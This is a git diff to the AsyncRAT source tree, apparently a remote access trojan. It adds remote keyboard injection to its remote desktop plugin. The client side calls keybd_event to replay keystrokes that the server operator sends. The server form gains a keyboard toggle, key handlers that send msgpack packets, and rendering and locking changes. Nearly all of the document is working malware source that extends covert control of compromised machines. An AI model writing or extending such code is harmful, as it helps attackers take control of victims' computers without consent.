diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs index a0e9d62..02f1a11 100644 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs @@ -56,6 +56,14 @@ namespace Plugin IsOk = false; break; } + + case "keyboardClick": + { + bool keyDown = Convert.ToBoolean(unpack_msgpack.ForcePathObject("keyIsDown").AsString); + byte key = Convert.ToByte(unpack_msgpack.ForcePathObject("key").AsInteger); + keybd_event(key, 0, keyDown ? (uint)0x0000 : (uint)0x0002, UIntPtr.Zero); + break; + } } break; } @@ -131,5 +139,8 @@ namespace Plugin [DllImport("user32.dll")] static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo); + + [DllImport("user32.dll")] + internal static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo); } } diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs index 5fc28e8..e197b90 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs @@ -33,6 +33,7 @@ this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.timer1 = new System.Windows.Forms.Timer(this.components); this.panel1 = new System.Windows.Forms.Panel(); + this.btnKeyboard = new System.Windows.Forms.Button(); this.btnMouse = new System.Windows.Forms.Button(); this.btnSave = new System.Windows.Forms.Button(); this.label2 = new System.Windows.Forms.Label(); @@ -59,7 +60,6 @@ this.pictureBox1.TabIndex = 0; this.pictureBox1.TabStop = false; this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown); - //this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseMove); this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp); // // timer1 @@ -70,6 +70,7 @@ // panel1 // this.panel1.BackColor = System.Drawing.Color.Transparent; + this.panel1.Controls.Add(this.btnKeyboard); this.panel1.Controls.Add(this.btnMouse); this.panel1.Controls.Add(this.btnSave); this.panel1.Controls.Add(this.label2); @@ -83,6 +84,17 @@ this.panel1.Size = new System.Drawing.Size(938, 38); this.panel1.TabIndex = 1; // + // btnKeyboard + // + this.btnKeyboard.BackgroundImage = global::Server.Properties.Resources.keyboard; + this.btnKeyboard.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.btnKeyboard.Location = new System.Drawing.Point(622, 3); + this.btnKeyboard.Name = "btnKeyboard"; + this.btnKeyboard.Size = new System.Drawing.Size(32, 32); + this.btnKeyboard.TabIndex = 6; + this.btnKeyboard.UseVisualStyleBackColor = true; + this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click); + // // btnMouse // this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse; @@ -219,12 +231,15 @@ this.Controls.Add(this.panel1); this.Controls.Add(this.pictureBox1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; this.MinimumSize = new System.Drawing.Size(655, 440); this.Name = "FormRemoteDesktop"; this.Text = "RemoteDesktop"; this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed); this.Load += new System.EventHandler(this.FormRemoteDesktop_Load); this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd); + this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.FormRemoteDesktop_KeyDown); + this.KeyUp += new System.Windows.Forms.KeyEventHandler(this.FormRemoteDesktop_KeyUp); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.panel1.ResumeLayout(false); this.panel1.PerformLayout(); @@ -250,5 +265,6 @@ private System.Windows.Forms.Timer timerSave; private System.Windows.Forms.Button btnMouse; public System.Windows.Forms.Label labelWait; + private System.Windows.Forms.Button btnKeyboard; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs index 3241269..c55da31 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs @@ -28,14 +28,15 @@ namespace Server.Forms public int FPS = 0; public Stopwatch sw = Stopwatch.StartNew(); - public Stopwatch RenderSW = Stopwatch.StartNew(); public IUnsafeCodec decoder = new UnsafeStreamCodec(60); public Size rdSize; private bool isMouse = false; - - + private bool isKeyboard = false; + public object syncPicbox = new object(); + private readonly List _keysPressed; public FormRemoteDesktop() { + _keysPressed = new List(); InitializeComponent(); } @@ -178,7 +179,7 @@ namespace Server.Forms { try { - if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse) + if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse) { Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height); int button = 0; @@ -203,7 +204,7 @@ namespace Server.Forms { try { - if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse) + if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse) { Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height); int button = 0; @@ -254,15 +255,80 @@ namespace Server.Forms isMouse = true; btnMouse.BackgroundImage = Properties.Resources.mouse_enable; } + pictureBox1.Focus(); } private void FormRemoteDesktop_FormClosed(object sender, FormClosedEventArgs e) { try { - Client?.Disconnected(); + ThreadPool.QueueUserWorkItem((o) => + { + Client?.Disconnected(); + }); } catch { } } + + private void btnKeyboard_Click(object sender, EventArgs e) + { + if (isKeyboard) + { + isKeyboard = false; + btnKeyboard.BackgroundImage = Properties.Resources.keyboard; + } + else + { + isKeyboard = true; + btnKeyboard.BackgroundImage = Properties.Resources.keyboard_on; + } + pictureBox1.Focus(); + } + + private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e) + { + if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard) + { + if (!IsLockKey(e.KeyCode)) + e.Handled = true; + + if (_keysPressed.Contains(e.KeyCode)) + return; + + _keysPressed.Add(e.KeyCode); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Option").AsString = "keyboardClick"; + msgpack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode); + msgpack.ForcePathObject("keyIsDown").SetAsBoolean(true); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + } + + private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e) + { + if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard) + { + if (!IsLockKey(e.KeyCode)) + e.Handled = true; + + _keysPressed.Remove(e.KeyCode); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Option").AsString = "keyboardClick"; + msgpack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode); + msgpack.ForcePathObject("keyIsDown").SetAsBoolean(false); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + } + + private bool IsLockKey(Keys key) + { + return ((key & Keys.CapsLock) == Keys.CapsLock) + || ((key & Keys.NumLock) == Keys.NumLock) + || ((key & Keys.Scroll) == Keys.Scroll); + } } } diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx index 53b21e6..e5b63af 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx @@ -123,9 +123,6 @@ 131, 17 - - 273, 17 - diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs index c3ea9cb..9821355 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs @@ -33,19 +33,18 @@ namespace Server.Handle_Packet RD.numericUpDown2.Maximum = Screens - 1; } byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); - Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); + lock (RD.syncPicbox) + { + Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); - if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) - { RD.pictureBox1.Image = decoded; - RD.RenderSW = Stopwatch.StartNew(); - } - RD.FPS++; - if (RD.sw.ElapsedMilliseconds >= 1000) - { - RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); - RD.FPS = 0; - RD.sw = Stopwatch.StartNew(); + RD.FPS++; + if (RD.sw.ElapsedMilliseconds >= 1000) + { + RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); + RD.FPS = 0; + RD.sw = Stopwatch.StartNew(); + } } } else diff --git a/AsyncRAT-C#/Server/Resources/keyboard-on.png b/AsyncRAT-C#/Server/Resources/keyboard-on.png new file mode 100644 index 0000000..41ba6df Binary files /dev/null and b/AsyncRAT-C#/Server/Resources/keyboard-on.png differ diff --git a/AsyncRAT-C#/Server/Resources/keyboard.png b/AsyncRAT-C#/Server/Resources/keyboard.png new file mode 100644 index 0000000..f5eb5a3 Binary files /dev/null and b/AsyncRAT-C#/Server/Resources/keyboard.png differ diff --git a/AsyncRAT-C#/Server/Server.csproj b/AsyncRAT-C#/Server/Server.csproj index 5a219f4..8d8b037 100644 --- a/AsyncRAT-C#/Server/Server.csproj +++ b/AsyncRAT-C#/Server/Server.csproj @@ -350,6 +350,8 @@ + +